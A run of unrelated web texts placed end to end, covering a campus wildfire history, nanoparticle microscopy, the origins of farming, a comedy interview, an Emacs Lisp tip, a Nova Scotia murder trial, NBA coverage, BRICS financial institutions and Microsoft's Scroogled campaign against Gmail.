The Bruin also reported it called campus departments and learned that nearly each one had at least one staff member who had lost their home.
While the fire never hit UCLA directly and posed no immediate danger, some students were afraid the fire would head their way and evacuated from Dykstra and Sproul Halls.
Fortunately, there were no fatalities from the Bel Air fire, but the flames covered nearly 16,000 acres and destroyed nearly 500 homes. Over half a century later, the areas hit by the fire have easily recovered, with rich people’s homes once again dotting the valleys. UCLA and surrounding neighborhoods, now in the middle of a sprawling urban area, haven’t been at risk of facing a wildfire in recent years. And instead of fearing a wildfire raging just miles away, students now only live in fear of having to evacuate from fire drills.[+]Enlarge Credit: Jungwon Park/Harvard U [+]Enlarge Credit: Jungwon Park/Harvard U FREE-FLOATING The riblike structures seen here depict atomic planes in two nonidentical platinum particles (2 nm in diameter), which were imaged while they drifted and rotated freely in solution.
Fidgety kids and skittish birds don’t sit still long enough to have their pictures taken. Neither do nanoparticles floating and rotating around in solution. But that hasn’t stopped a team of researchers from producing three-dimensional images of angstrom-sized metal particles in solution at near-atomic resolution (Science 2015, DOI: 10.1126/science.aab1343).
The imaging technique used by the researchers, based on transmission electron microscopy (TEM), may enable scientists to monitor dynamics of individual particles within a colloid in their native state. Structural details gleaned from the imaging method may also lead to new uses for nanoparticles in catalysis, biological imaging, and other areas.
TEM generates 2-D projections of 3-D objects. One way microscopists produce 3-D TEM images is by painstakingly piecing together multiple 2-D images of a rigidly supported sample as it is tilted at various angles. Another way is to record images of many identical particles trapped in various orientations in ice. But those methods aren’t suitable for high-resolution imaging of nanoparticles that are freely rotating in solution.
Drawing on a liquid-sampling technique the researchers reported in 2012, they packaged a few droplets of colloidal platinum nanoparticles in a nanosized graphene bubble. Then they used a microscope equipped with a highly sensitive detector to zoom in on individual particles and record many short-exposure images.
Because the particles were constantly moving, the images were inherently low quality. But by applying a computational technique the researchers developed for this purpose, they were able to produce high-resolution 3-D reconstructions of randomly moving nonidentical particles.The Neolithic Revolution
Spencer Wells Blocked Unblock Follow Following Oct 9, 2017
When and why did humans start farming crops, rather than hunting and gathering their food?
(excerpted from Chapter 2 of Pandora’s Seed ©Spencer Wells, 2010)
The burst dam
The Australian archaeologist Vere Gordon Childe led quite a fascinating life. In his youth he was a Marxist who served as private secretary to the Premier of the Australian state of New South Wales, as well as a talented linguist and inveterate traveler. Only later did he make the decision to pursue archaeology as a profession, first at the University of Edinburgh and later at the University of London. His early field work was on Skara Brae, in the Scottish Orkney islands, but his career really took off when he turned his attentions to the early agricultural communities of the eastern Mediterranean.
Childe coined the term ‘Neolithic Revolution’, and he fully meant it to be taken as a revolutionary transition. All that came before was savagery (which preceded barbarity in the linear progression of his Marxist-influenced view of cultural evolution), and the fruits of civilization only arose after this momentous event. To Childe, the dawning of the Neolithic was the defining point in our history as a species, and he popularized this notion in his books, particularly his widely read New Light on the Most Ancient East and Man Makes Himself, which influenced the general public and subsequent generations of professional archaeologists.
According to Childe, one of the key triggers in the onset of agriculture was the abrupt warming experienced in the Middle East at the end of the last ice age. He didn’t use the relatively sparse data from the rest of the world, perhaps assuming that what happened first in the Fertile Crescent later diffused to other regions as they tailored the methods of agriculture to their own crops. According to Childe, this warming trend affected the types of plant species growing there, leading some groups to begin to cultivate wheat and barley. This successful invention led to an expansion in population and the rise of urban civilization, and gradually from this Middle Eastern source Neolithic farmers spread themselves (and their advanced culture) far and wide across the rest of western Eurasia.
While generally correct, this model has since been modified with the re-assessment of what happened to the climate at the end of the last Ice Age. While the general trend over the past 15,000 years has been an increase in average global temperature, the period between 15,000 and 10,000 years ago was marked by abrupt advances and reversals in the warming trend. It was in this chaotic cauldron that agriculture developed.
Perhaps the best studied part of this 5,000-year period is a mini-Ice Age known as the Younger Dryas, which lasted over a thousand years from around 12,700 to 11,500 years ago. It is named after the genus of a small plant, Dryas octopetala, found in the tundra regions of Scandinavia, which was replaced by forest in the southern part of its range at the end of the ice age, but reappeared during the cooler conditions of the Younger Dryas. What led this small ice age plant to suddenly reappear is not completely clear, but the most likely theory is that it was caused, paradoxically, by the sudden melting of an ice dam in North America.
Now wait, you might be saying — it was affected by an ice dam halfway across the world? This was a very special dam, though. The warming temperatures at the end of the last Ice Age caused the Laurentide ice sheet we learned about in Chapter 1 to retreat from its foray into Illinois, and the pieces that remained around 13,000 years ago served to hold back Lake Agassiz, a massive body of fresh water located in what is today central Canada. Agassiz was comprised of much of the rest of the former ice sheet — while today’s Great Lakes are large bodies of water, this was a monster larger than all of them put together, larger even than the state of California or the Caspian Sea.
When the ice dam holding the lake back melted, it released the water, which flowed into the Saint Lawrence river basin and out into the north Atlantic. The flood of fresh water formed a kind of ‘shield’ on the surface of the ocean — it floated because its density is lower than that of salt water — which killed the Gulf Stream that brings warmer water from the tropical Gulf of Mexico into the north Atlantic. This natural flow had warmed western Eurasia like a massive radiator since the end of the ice age, and still does. It is the reason why palm trees grow in Cornwall, the southernmost point in Great Britain, despite the fact that its latitude is 50°, the same as Winnipeg in Canada, and nearly 30° north of the Tropic of Cancer. When the influx of fresh water killed the Gulf Stream, western Eurasia was plunged back into ice age-like conditions — the Younger Dryas.
Ecological shifts from the Last Glacial Maximum (~16 KYA) to the Holocene Optimum (~9 KYA)
While all of this was going on in the north Atlantic, the inhabitants of the Fertile Crescent had been getting used to the warmer temperatures. Between roughly 16,000 and 12,700 years ago the region was warming up and becoming wetter, which led to the expansion of plant species that had formerly been limited in their distribution to mountain valleys, where there were reliable supplies of water. The ready availability of these grasses — the ancestors of wheat, rye and barley — led some human populations to focus much of their energies on gathering them. It was a plentiful and calorie-rich food source, so it made sense. The Natufian people, who flourished in the western part of the Fertile Crescent during this period, were largely grain gatherers. And unlike almost all hunter-gatherers who came before, they were sedentary — they lived in small villages.
Since the earliest days of hominid evolution, our ancestors had been semi-nomadic. This is because of the uncertainty inherent in being a hunter-gatherer — if the food supply dwindles in one place, you pack up and move |
, we said “Danny Dyer's a fool”, and we wrote it on a pagoda, and people started thinking that we actually hated him. But we don't hate him.’
BB ‘We don't hate him. We just… If we see a pagoda, we'll write something about him on it, but…’
MC ‘More often than not it'll be positive.’
BB ‘Sometimes we'll write a positive thing on a pagoda about him.’
Are the Rubberbandits teachers?
MC ‘I taught a fella how to jump off a building.’
BB ‘How did it go? Did it land well?’
MC ‘Yeah. He was grand.’
BB ‘Was he grand?’
MC ‘Yeah.’
BB ‘Oh, you're like one of those…’
MC ‘Because I taught him how to do it.’
BB ‘How to do it properly.’
MC ‘Yeah.’
BB ‘How to land. Like one of them base-jumpers.’
MC ‘Yeah.’
BB ‘But taller.’
MC ‘Well, it was only, like, about eight feet.’
BB ‘That's not a building then.’
MC ‘He was a child, though.’
BB ‘Ahh. So you taught a man who was a child…’
MC ‘Yeah.’
BB ‘…to jump off an eight foot building, and he landed perfectly.’
MC ‘Yeah.’
BB ‘Yeah, so we are teachers, yes.’
Are the Rubberbandits from Ireland?
BB ‘No, not at all, we're from Malta.’
MC ‘Malta.’
BB ‘We're from Malta. We originated there… Malta has two things… Two things I love about Malta: they have the finest collection of megalithic tombs in western Europe and, of course, it is home of the Maltese Falcon, the eggs of which we commonly know as Maltesers. So, yeah, we're from Malta. Malta.’
MC ‘Malta?’
BB ‘Malta.’
MC ‘Malt?’
BB ‘Malt.’
The Rubberbandits’s ‘Continental Fistfight’ plays the Edinburgh Fringe, Jul 30-Aug 25Emacs has a few mechanisms for choosing which major mode is selected when you find a file.
auto-mode-alist determines the mode from the file extension, e.g. you might want to load a c++ mode for a file named a.cc.
interpreter-mode-alist chooses a mode depending on the first line of a file. If a file begins with #!/bin/sh you probably want to choose shell-script-mode.
I worked on a code base where the extensions used a variety of capitalization. The perl scripts could be.Perl,.perl,.PL,.Pl or.pl and there were numerous other extensions. It is fairly easy to make a regular expression to match all of these but I thought it warranted a helper function.
I want '(pl perl) to transform to \.\([Pp][Ll]\|[Pp][Ee][Rr][Ll]\)\'. The basic technique is to make a character class with the upper case and lower case version of each character in the string. We also accept a symbol on the input in order that the caller doesn’t have to add double quotes to every element.
(mapconcat ( lambda (c) ( let ((c (upcase (char-to-string c)))) (concat "[" c (downcase c) "]" ))) (symbol-name s) "" ))
This code converts 'pl to [Pp][Ll].
We want to handle a list of extensions so we can cope with permutations of.pl or.perl. We therefore surround the previous mapconcat with the following.
(mapconcat ( lambda (s)...) l " \\ | " )
The final part of the function adds the appropriate prefix and suffix to make the regex work in auto-mode-alist.
( defun file-extensions (l) (concat "\\. \\ ( " (mapconcat ( lambda (s) (mapconcat ( lambda (c) ( let ((c (upcase (char-to-string c)))) (concat "[" c (downcase c) "]" ))) (symbol-name s) "" )) l " \\ | " ) " \\ ) \\'" ))
I added a wrapper function to marry the regex to the major mode.
( defun ext-mode-map (extensions mode) (cons (file-extensions extensions) mode))
And now you can simply specify your mode mappings like this:
(add-to-list 'auto-mode-alist (ext-mode-map '(pl perl) 'cperl-mode))Victim Taylor Samson (left) and William Sandeson (right) found guilty of murder. Andrew Vaughan/CP
It was supposed to be a quick drug deal before a night out with friends. Taylor Samson, 22, was a physics student at Dalhousie University; family and friends say he had been selling marijuana for years. His girlfriend told jurors that Samson left his frat house on the night of August 15, 2015 with only a duffel bag—no keys, no medication for a chronic liver condition. She knew he had been dealing, although he tried to shield her from the details. She figured she'd see him again soon.
She never did. No one would, except for his killer and two witnesses.
Justin Blades and Pookiel McCabe, two other Dalhousie students, say they were hanging out in McCabe's apartment near campus when they heard a gunshot. Then there was someone at the door. It was their track teammate, William Sandeson, who lived just down the hall. He was panicking. The guys came over to his apartment and saw a man slumped over in a chair, bleeding from his head. Sandeson paced, saying something about how he had to clean up. Bloody money and drugs littered the floor. They left but when they returned they saw bloody streak marks leading towards Sandeson's bathroom.
Sandeson would initially offer up several different stories to friends and police about what happened that night. Since his third interview with police, he has maintained that his $40,000 deal to buy 20 pounds of weed from Samson—an exchange that people on all sides of the case say was unusually large for both men—went awry when two unknown people broke into the house.
Sandeson said the culprits were dressed in morphsuits—full body clothing items made of a spandex-like material that covered the assailants' heads, faces and eyes—and that they forced him to turn off the security cameras he kept running in his apartment building to protect his drug dealing business. According to this version of events, which Sandeson's defence continued to the maintain throughout the trial, one of the assailants shot Samson in the back of the head and they fled through Sandeson's apartment window.
On Sunday, a 12-person jury in a Nova Scotia Supreme Court decided they didn't buy that story. Instead, they believed the Crown attorneys, who argued that Sandeson had planned to murder Samson and take the weed to sell for himself, then took Samson's body out of the apartment in a hockey bag and somehow got rid of his remains.
The jury convicted Sandeson, 24, of first-degree murder in Samson's death after more than 20 hours of deliberations. The result capped off a two-month trial, putting an end to what had been one of the most talked-about Nova Scotian murder cases in years. Yet despite the verdict, many questions remain.
***
When Sandeson was charged with Samson's murder, he was only about a week away from his first year of med school. How exactly did the respected student athlete, who was repeatedly honoured as an "All-Canadian Scholar" for his well-rounded accomplishments and worked in a group home for people with disabilities, get to this point where he was shooting another student in the back of the head in a drug deal?
The Crown said Sandeson's motive to murder Samson was simple: money.
The trial heard that Sandeson was in a significant amount of debt, owing about $70,000 on a $200,000 line of credit and had been under pressure from his parents. Police also noted that only $7,200 in cash of a $40K drug deal was recovered.
The trial heard little about Sandeson and his drug dealing past. His ex-girlfriend, Sonja Gashus, testified that she thought he was tying up some loose ends and leaving the business on the night Samson died. "I believed it was him making a deal and he was going to get out of that whole thing," she said, according to the Canadian Press. Gashus dated Sandeson for about eight months. She says he told her to stay away from the apartment that night, then got a text at about 12:30 in the morning saying it was OK to come back. When she did, the apartment smelled like bleach.
Defence lawyer Eugene Tan told VICE that his client asked his family not to be there when the verdict was read, as emotions were "running high on both sides."
While Samson's body was never found, the Crown was able to point to circumstantial evidence that suggested he could have been buried at Sandeson's family farm near Truro, NS.
Police later found a shower curtain from Sandeson's apartment, covered in Samson's DNA, on the property of Sandeson's family farm. They also found a rotten-smelling hockey bag.
And while the jury never heard the following information, a bail hearing revealed that Sandeson sent a series of texts to a friend describing how he'd kill Gashus if she was cheating on him. The texts said that if she was being unfaithful he would kill her, dump her head and hands in lye to disintegrate them, and leave her body at the farm.
Police found a 9mm Smith & Wesson in a safe in Sandeson's apartment with Samson's DNA on it. A blood-spatter expert testified that the gun was used to shoot someone at very close range.
Sandeson's lawyer would argue that his client was "not a criminal mastermind" and argued that if he committed a premeditated murder, why would he keep the gun in his bedroom?
***
Everyone close to Samson who spoke with VICE said they knew he was dealing. It was a way to pay his way through school. At well over six feet, he was described as "a leader" and "larger than life." Friends and family remember him as someone always quick to help out his family and who was very involved with his fraternity, Sigma Chi.
Thomas McCrossin, one of Samson's closest friends, told VICE that Samson had a modest upbringing in the town of Amherst where they both grew up—a rural Nova Scotian town of less than 10,000 people where the median household income is about $20,000 below the national median. McCrossin says his friend had an "undying entrepreneurial spirit," and planned to get out of the business and grow his tutoring company. Samson made YouTube videos that explained mathematical concepts in the hopes that struggling students who couldn't afford one-on-one help could at least follow along online.
"For a while there when he died I felt almost lost," McCrossin said. "That man I would have trusted with my life. There's not really anyone else I would do that with."
***
While the guilty verdict includes a mandatory minimum sentence of 25 years (Sanderson will be eligible to apply for parole after 23 years, because of time served) and some measure of closure, Samson's family is still searching for his remains.
Samson's mother Linda Boutilier says she has searched through the woods near Truro, the town where Sandeson's family farm is located, looking for anything that could help her find closure. A couple friends will join her in her search, but "it's a lot to ask of a person," she says.
Some of Samson's friends from Amherst have set aside for a scholarship in his name. A friend of Boutilier's has also set up a GoFundMe to help her continue searching for his remains. They say they want to help Boutilier hire "cadaver dogs, private investigators, search teams and more" as regional police can no longer spend the kind of resources she wants to see dedicated to finding her son.
Boutilier says she's already worked with a cadaver dog and a volunteer who had donated some spare time. They found two hits, but both turned out to be false alarms.
Linda Boutilier walks out of the courtroom with a friend
"People say [Taylor is] chopped up everywhere, so who the hell knows," Boutilier told VICE. "I'm immune to that."
***
By Sunday morning, a few days into the wait for the verdict, Samson's friends were starting to get stir crazy. Three people began playing mini golf in the courtroom hallway—with a Tim Hortons cup as the hole and a walking cane used by Samson's father as the club. The previous afternoon, McCrossin had made a brief appearance in a tuxedo-themed morphsuit—a darkly humourous reference to Sandeson's claim that two men in morphsuits had been responsible for Samson's death.
"It was funny," one woman yelled at McCrossin, "but you still suck."
The mood shifted on Sunday when a pair of sheriffs walked into the room to open the courtroom doors. The jury had reached its decision.
Samson's brother, stepsister, and friends sobbed while they waited, shaking. As the ruling was read, Samson's survivors cheered and clapped when the verdict came down.
Sandeson sat frozen in place. Three of his friends sat quietly in the back of the courtroom, looking grim. (They declined to speak about the case to VICE.)
Sandeson's next move remains to be determined. He's expected to be in court for sentencing on July 11. His lawyers have not said whether they will be appealing the decision.
As Sandeson walked out of the courtroom Sunday for another night in what could be decades in prison, his victim's family has two lasts message for him.
"Turn around and take a bow, Billy," Linda Boutilier said.
Samson's stepsister, Kathleen Hollett, simply yelled: "Tell us where he is."
Follow Katie Toth on Twitter.Apr 26, 2015; Washington, DC, USA; Washington Wizards forward Nene (42) is fouled by Toronto Raptors forward Amir Johnson (15) while attempting to dunk the ball in the first quarter in game four of the first round of the NBA Playoffs. at Verizon Center. Mandatory Credit: Geoff Burke-USA TODAY Sports
That really just happened.
The Washington Wizards played one of their best games in franchise history, completing the sweep over the higher seeded Toronto Raptors.
Washington Wizards 125 Toronto Raptors 94
I legitimately pinched myself numerous times throughout tonight’s game.
Not only did the Wizards complete the sweep, but a Randy Wittman-led squad will likely force the Raptors to rebuild their team. They beat the Raptors that bad.
Like everyone who stepped on the court in a Washington Wizards uniform, John Wall was absolutely fantastic tonight. He attempted just 5 shots, making 3 of them, but orchestrated the offense beautifully.
Whether it was dropping the ball off inside to Marcin Gortat or finding Bradley Beal on the perimeter, Wall continued to dazzle us with his ridiculous passes. He dished out 10 assists in just 25 minutes of action. Wall got some well-deserved rest at the end of the game.
Gortat, who has benefited greatly from Wall’s magnificence, was also fantastic. He continued to catch and finish, scoring 21 points to go along side 11 rebounds. He missed just one of his 9 shot attempts.
Wall’s back court mate, Bradley Beal, was just as good.
Instead of settling for mid-range jumpers, Beal continued to find three point shots and attacked the basket off the dribble. He helped put Kyle Lowry in foul trouble early after he bit on his pump fake inside. Beal scored 23 points and stole the ball 4 times.
Oh, and he also made this ridiculous shot. It was just that kind of night for the Washington Wizards.
Bradley Beal! RT @bballbreakdown You know it's not your night when…: https://t.co/0PX0Cl9R5g — ThatNBALotteryPick (@ThatNBAPick) April 27, 2015
Needless to say, it didn’t take them long to gain an insurmountable lead.
By halftime, the Washington Wizards completed the sweep.
Wiz up 66-50 at the half. 24 minutes from #SweepTheNorth. — Wiz of Awes (@WizOfAwes) April 26, 2015
Wall did his best Lowry impression, picking up three fouls before the end of the first half, but Washington got a great lift from Ramon Sessions and Drew Gooden.
Sessions scored 15 points on 5-7 shooting from the bench. He drilled three 3-point shots in that span.
For whatever reason, Sessions has become a competent three point shooter since arriving to the nation’s capital. He’s benefited from playing along side John Wall and it wouldn’t surprise me if we see more of that back court going forward. Kudos on the trade deadline deal, Ernie Grunfeld.
Drew Gooden, well, was unstoppable tonight.
I can’t believe I actually wrote that sentence. DREW GOODEN. IN 2015.
He scored 13 points, and he also knocked down three 3-point shots. It might not seem like a big deal, but…it’s DREW GOODEN.
They aren’t ordinary threes. It’s like, Brian Cook on steroid threes. Gooden has become the ultimate “No, No, No, No, YES!” player.
Wizards' 14 3-pointers a franchise record. — Jorge Castillo (@jorgeccastillo) April 27, 2015
It got to the point where I was seriously begging Drew Gooden to stop hitting threes. Washington was up 30+, but nope, Gooden kept hitting shots. Talk about throwing salt in the wounds.
Paul Pierce haunted the Raptors again, but at this point, it’s honestly not even surprising.
I can’t stress this enough: Please enjoy Paul Pierce while he’s still rockin’ a Washington Wizards jersey. He won’t be in the NBA for much longer, but man, he’s still so much fun to watch.
Pierce scored 14 points and hit some momentum building three point shots in the game. The great thing about Pierce is, not only does he make important shots, but he makes sure to interact with the fans afterwards. He just really knows how to energize the team and it has been evident throughout the entire series.
Otto Porter chipped in with 7 points and 7 boards. Rasual Butler, Martell Webster, Will Bynum, Kris Humphries and Kevin Seraphin also got a chance to play during the blowout.
I’m still having a hard time processing what just happened.
After entering the series as the underdog, the Washington Wizards have dismantled the Toronto Raptors in four games. I honestly thought they would come into the game with too much confidence, but Washington took care of business early and sent the Raptors to pack their bags.
The Wizards will now have a chance to take a small break before getting ready for their next opponent. They’ll take on either the Atlanta Hawks or Brooklyn Nets.
Wow.The BRICS countries have already agreed on the amount of authorized capital for the new institutions: $100 billion each. Source: Shutterstock
Very soon, the IMF will cease to be the world's only organization capable of rendering international financial assistance. The BRICS countries are setting up alternative institutions, including a currency reserve pool and a development bank.
The BRICS countries (Brazil, Russia, India, China and South Africa) have made significant progress in setting up structures that would serve as an alternative to the International Monetary Fund and the World Bank, which are dominated by the U.S. and the EU. A currency reserve pool, as a replacement for the IMF, and a BRICS development bank, as a replacement for the World Bank, will begin operating as soon as in 2015, Russian Ambassador at Large Vadim Lukov has said.
Brazil has already drafted a charter for the BRICS Development Bank, while Russia is drawing up intergovernmental agreements on setting the bank up, he added.
In addition, the BRICS countries have already agreed on the amount of authorized capital for the new institutions: $100 billion each. "Talks are under way on the distribution of the initial capital of $50 billion between the partners and on the location for the headquarters of the bank. Each of the BRICS countries has expressed a considerable interest in having the headquarters on its territory," Lukov said.
It is expected that contributions to the currency reserve pool will be as follows: China, $41 billion; Brazil, India, and Russia, $18 billion each; and South Africa, $5 billion. The amount of the contributions reflects the size of the countries' economies.
By way of comparison, the IMF reserves, which are set by the Special Drawing Rights (SDR), currently stand at 238.4 billion euros, or $369.52 billion dollars. In terms of amounts, the BRICS currency reserve pool is, of course, inferior to the IMF. However, $100 billion should be quite sufficient for five countries, whereas the IMF comprises 188 countries - which may require financial assistance at any time.
BRICS Development Bank
The BRICS countries are setting up a Development Bank as an alternative to the World Bank in order to grant loans for projects that are beneficial not for the U.S. or the EU, but for developing countries.
The purpose of the bank is to primarily finance external rather than internal projects. The founding countries believe that they are quite capable of developing their own projects themselves. For instance, Russia has a National Wealth Fund for this purpose.
"Loans from the Development Bank will be aimed not so much at the BRICS countries as for investment in infrastructure projects in other countries, say, in Africa,” says Ilya Prilepsky, a member of the Economic Expert Group. “For example, it would be in BRICS' interest to give a loan to an African country for a hydropower development program, where BRICS countries could supply their equipment or act as the main contractor."
If the loan is provided by the IMF, the equipment will be supplied by western countries that control its operations.
The creation of the BRICS Development Bank has a political significance too, since it allows its member states to promote their interests abroad. "It is a political move that can highlight the strengthening positions of countries whose opinion is frequently ignored by their developed American and European colleagues. The stronger this union and its positions on the world arena are, the easier it will be for its members to protect their own interests," points out Natalya Samoilova, head of research at the investment company Golden Hills-Kapital AM.
Having said that, the creation of alternative associations by no means indicates that the BRICS countries will necessarily quit the World Bank or the IMF, at least not initially, says Ilya Prilepsky.
Currency reserve pool
In addition, the BRICS currency reserve pool is a form of insurance, a cushion of sorts, in the event a BRICS country faces financial problems or a budget deficit. In Soviet times it would have been called "a mutual benefit society", says Nikita Kulikov, deputy director of the consulting company HEADS. Some countries in the pool will act as a safety net for the other countries in the pool.
The need for such protection has become evident this year, when developing countries' currencies, including the Russian ruble, have been falling.
The currency reserve pool will assist a member country with resolving problems with its balance of payments by making up a shortfall in foreign currency.
Assistance can be given when there is a sharp devaluation of the national currency or massive capital flight due to a softer monetary policy by the U.S. Federal Reserve System, or when there are internal problems, or a crisis, in the banking system. If banks have borrowed a lot of foreign currency cash and are unable to repay the debt, then the currency reserve pool will be able to honor those external obligations.
This structure should become a worthy alternative to the IMF, which has traditionally provided support to economies that find themselves in a budgetary emergency.
"A large part of the fund goes toward saving the euro and the national currencies of developed countries. Given that governance of the IMF is in the hands of western powers, there is little hope for assistance from the IMF in case of an emergency. That is why the currency reserve pool would come in very handy," says ambassador Lukov.
The currency reserve pool will also help the BRICS countries to gradually establish cooperation without the use of the dollar, points out Natalya Samoilova. This, however, will take time. For the time being, it has been decided to replenish the authorized capital of the Development Bank and the Currency Reserve Pool with U.S. dollars. Thus the U.S. currency system is getting an additional boost. However, it cannot be ruled out that very soon (given the threat of U.S. and EU economic sanctions against Russia) the dollar may be replaced by the ruble and other national currencies of the BRICS counties.
Full text available on Vz.ru.
All rights reserved by Rossiyskaya Gazeta.Earlier in the season, building on a piece by Peter Edmiston, I compared the scoring efficiency numbers for Grizzlies players based on whether Andrew Harrison or Wade Baldwin was running the offense, the point of which was to measure which of the two rookies allowed the offense to function more efficiently.
If we want to figure out what value Douglas really brings to the Grizzlies, we can do a similar comparison for Harrison and Douglas. Using NBA Wowy (a really handy tool), I’ve pulled shooting numbers for the Grizzlies based on who was primarily initiating the offense.
First, I excluded any minutes during which Mike Conley was on the floor, which is necessary to isolate the minutes during which each player was acting as the primary initiator of the offense (Tony Allen was not considered a PG for the sake of this exercise because, dude, be serious). I also had to make Harrison and Douglas mutually exclusive; in other words, for Harrison, I excluded all minutes he played with Douglas also on the floor, and vice-versa. Like I said, it’s a bit messy, but it’s also the only way to keep there from being any “noise” related to other point guards.
The charts below compare four key stats (points per shot, points per possession, effective FG%, and true shooting %) of the four non-PG starters with Harrison or Douglas on the floor. (Note: I used these four players because they generally had the highest amount of minutes with both point guards, which was necessary due to the limited minutes Douglas has logged with the team.)
Note: Of course, we have to slap a SMALL SAMPLE SIZE warning label onto Douglas’ numbers. Toney has been with the team for just 11 games, joining first due to an injury exception before latching on with a pair of 10-day contracts more recently. As such, it’s hard to say that any of these numbers are conclusive. But hey, it’s all we’ve got to work with right now, so it’ll have to do.
Observations:
Of the four players charted, it’s Tony Allen and Marc Gasol who appear to benefit the most from Douglas’ time on the court, and if you go back to Mark’s comments in the video, it makes sense. Over the course of the season, Harrison has improved in bringing the ball up the court and getting the team into the offense. It’s when the initial play breaks down that Harrison struggles, and that’s where Douglas’ veteran savvy comes in handy. If the first play breaks down, Douglas is more likely to be able to get the ball to Marc (or Tony) in better position to score. And while some of this discrepancy might be due to sample size, TA and Marc’s offensive numbers are anywhere from 17% to 30% higher with Douglas on the floor, and that’s too big an improvement to ignore, even when acknowledging other factors that might be in play.
Z-Bo’s numbers vary the least from Harrison to Douglas. It appears it hardly matters who’s running the backup point guard spot for Zach. His shooting numbers are slightly higher with Harrison on the floor, but he’s a tiny bit more efficient per possession with Douglas. Given the small sample size with Toney and the fact that Zach has been effective isolating against backup bigs, it’s likely those differences are negligible, nothing to waste worry over.
JaMychal’s numbers have the widest variance, and based on the evidence, as limited as it is, it appears that Green is more efficient with Harrison. The reason behind that is a lot less clear. The discrepancy could be due to noise unrelated to Harrison or Douglas; it could just be a blip due to sample size that will correct over time; or maybe there’s some mystical force keeping Toney and JaMychal from playing well together. I honestly have no answer other than to say that it’s a situation to watch moving forward if Douglas ends up sticking past his second 10-day.
A few offensive numbers from less than a handful of players likely doesn’t tell the whole story, though. It’s also worth comparing the on/off numbers for Harrison and Douglas. After all, even when Harrison was struggling at the start of the season with the offense, he still managed to show enough defensive acumen to keep him on the floor.
The ORtg with Douglas on the floor is 112.3 compared to 106.8 off, a difference of 5.5. With Douglas on the court on the defensive end, Memphis has a DRtg of 100.3. When he’s off? That number goes up to 105.8. In other words, Douglas is a +11 in terms of net rating.
For Harrison, the ORtg drops from a 109.5 to 104.2 when he comes onto the floor, while the defense improves modestly (105.8 to 104.9). In other words, Harrison is a net -4.5 per 100 possessions when he’s on the floor, meaning his defensive improvement just isn’t enough to make up for the damage he does to the offense.
Of course, the on/off numbers are useful, but it may also be worth seasoning them with a good pinch of sodium chloride. During his time with the team, Douglas has faced: New Orleans, Philadelphia, Portland, Golden State, Cleveland twice (once without Lebron, Kyrie, and Kevin Love), Phoenix twice, Denver, Minnesota, and a Spurs team without Kawhi. That’s hardly a murderer’s row of competition. Harrison, on the other hand, has played major minutes in a good portion of the team’s games to this point.
Looking at the numbers, it appears that they bear out what we’ve seen. Douglas has allowed the Grizzlies’ offense to function more efficiently without sacrificing on the defensive end. And while Harrison has shown the potential to eventually be a competent rotation player, he isn’t quite where Douglas is.
This means that if the Grizzlies, who still think they can be competitive this season, can’t improve the roster by making a deal before the deadline, Douglas might be worth the price of admission.
Follow @sbngrizzliesMicrosoft, via their new "Scroogled" campaign, has just put Google on blast for their practice of scanning through every word of every email so as to target ads to Gmail users. The problem with this campaign of Microsoft's is the manner in which they're portraying Google's handling of Gmail emails. If you've yet to see it, then take a quick look at the Scroogled video, where Microsoft ultimately offers their Outlook services in lieu of Gmail:
The agency Microsoft hired for this campaign did a great job of planting mental images of employees at Google actually reading through emails, and it seems as though that's the single thread Microsoft hopes to hang on to here to gain traction and (surprise, surprise) make money.
What -- you didn't think Microsoft actually cared about the ethical points they raise in the campaign, did you? More on this in a bit.
You see, Microsoft knows that the average user doesn't have a clue about crawling, algorithms, or anything else that's of a remotely technical nature. As such, Microsoft's able to present this whole thing as Google nefariously reading every single word of every single email, including emails non-Gmail users send to Gmail users.
So, what's the truth? Does Google really "read" every single Gmail email? No.
Google has algorithms baked into their services, like Gmail, that scan through words, then make decisions to tailor ads based on various factors that may or may not include the words they've scanned. In other words, the only thing in Google that's "reading" your emails is the very same type of thing that "reads" your emails to identify spam (Care to venture who else identifies spam by checking the contents of your emails?), or to properly handle send/receive requests, etc. It's a process; an algorithm.
There's not a physical body sitting there reading through the countless emails that find their way through Gmail's servers. The algorithm doesn't care about the context of the words, outside of to tailor ads. Where that's concerned, Microsoft was eager to make the point that Google incorrectly tailored an ad in an insensitive manner with a Gmail user whose cat died.
Logical fallacies abound in that example of theirs (maybe that Gmail user has other pets or will be looking to get a new pet, and that coupon is something they can actually use), but since Microsoft's primary point was Google being insensitive and getting it "wrong" with their ad, I wonder what ads Bing might show me for searching for something like "my dad died." Your mileage may very, but here's what I got:
Oh, yeah, that's fantastic, Microsoft. My dad died, so I want to write him some poems and then see amazing deals on Yahoo Shopping. Good point you made about Gmail and the cat, though. Seems legit.
I'm just being facetious there, but the example above goes to show the point that Microsoft is capable of being equally as "insensitive" in their targeting. Personally, I understand that search/ad algorithms are far from perfect on any platform, but Microsoft seems to want people to believe that Google is somehow intentionally insensitive with their ad targeting while they're stripping your emails of every morsel of privacy they can.
That's just not the case, though I'm not so disillusioned as to believe Google's privacy measures are by any means perfect or 100% transparent. There was the case of Google firing a couple of employees back in 2010 for reading emails and chat logs of Gmail users, but that could have realistically happened anywhere.
Back to the Scroogled video, Microsoft makes mention that you cannot opt out of Google "reading" all of your emails. That's not true, as evidenced by this YouTube video posted in 2011 by Google Business that clearly shows the ability to opt out. For those of you who are interested in doing so, here's how to opt out of email-based ad tailoring in Gmail: (Update: It appears that opting out of ads in Google via the method below does not opt you out of Google's contextual ads -- the ads Microsoft is pointing out in their campaign; however, if you view Gmail via the basic HTML view, you will not be shown ads in Gmail. From Google: "If you do opt-out, you may still see contextual ads based on the message you are reading as well as other relevant ads. If you don't want to see ads in Gmail, you can choose to use Gmail’s basic HTML view, or POP1 or IMAP.")
1: Visit this link, then sign in: https://www.google.com/settings/ads/preferences?hl=en
2: Click "Opt out" on the left-hand side
3: Click the "Opt out" button
Alternately, Google allows you to freely set up your Gmail account with third-party email clients, so you can avoid ads altogether if you so choose!
So, what's the truth behind the Scroogle? Well, Microsoft's side is that Google doesn't care about your privacy, so you should instead use Outlook because Microsoft won't serve you ads based on the content of your email. Google's side is that they champion the privacy of their users and they're creating a better ad experience, though you can opt out of email-based ad tailoring if you so choose. But the truth is that Google is currently making bucketloads of cash, and Microsoft wants a slice of that pie. Either way, you and I simply boil down to dollar signs. Microsoft wants to be the ones who advertise to you, not Google.
